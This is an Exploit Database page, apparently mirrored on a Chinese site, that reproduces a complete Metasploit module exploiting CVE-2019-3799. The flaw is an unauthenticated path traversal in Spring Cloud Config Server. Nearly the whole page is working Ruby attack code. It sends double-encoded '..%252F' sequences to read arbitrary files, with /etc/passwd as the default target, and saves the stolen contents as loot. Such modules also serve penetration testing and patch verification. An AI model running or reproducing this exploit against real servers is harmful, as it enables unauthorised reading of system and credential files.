Spring Cloud Config 2.1.x – Path Traversal (Metasploit)

• Exploit Database
• 90 阅读

• 作者： Dhiraj Mishra
  日期： 2019-04-30
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/46772/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'Spring Cloud Config Server Directory Traversal',
  'Description' => %q{
  This module exploits an unauthenticated directory traversal
  vulnerability
  which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,
  versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6.
  Spring
  Cloud Config listens by default on port 8888.
  },
  'References'=>
  [
  ['CVE', '2019-3799'],
  ['URL', 'https://pivotal.io/security/cve-2019-3799']
  ],
  'Author'=>
  [
  'Vern', # Vulnerability discovery
  'Dhiraj Mishra' # Metasploit module
  ],
  'DisclosureDate' => '2019-04-17',
  'License'=> MSF_LICENSE
  ))
  
  register_options(
  [
  Opt::RPORT(8888),
  OptString.new('FILEPATH', [true, "The path to the file to read",
  '/etc/passwd']),
  OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])
  ])
  end
  
  def data
  Rex::Text.rand_text_alpha(3..8)
  end
  
  def run_host(ip)
  filename = datastore['FILEPATH']
  traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"
  uri = "/#{data}/#{data}/master/#{traversal}"
  
  res = send_request_raw({
  'method' => 'GET',
  'uri'=> uri
  })
  
  unless res && res.code == 200
  print_error('Nothing was downloaded')
  return
  end
  
  vprint_good("#{peer} - #{res.body}")
  path = store_loot(
  'springcloud.traversal',
  'text/plain',
  ip,
  res.body,
  filename
  )
  print_good("File saved in: #{path}")
  end
  end
  

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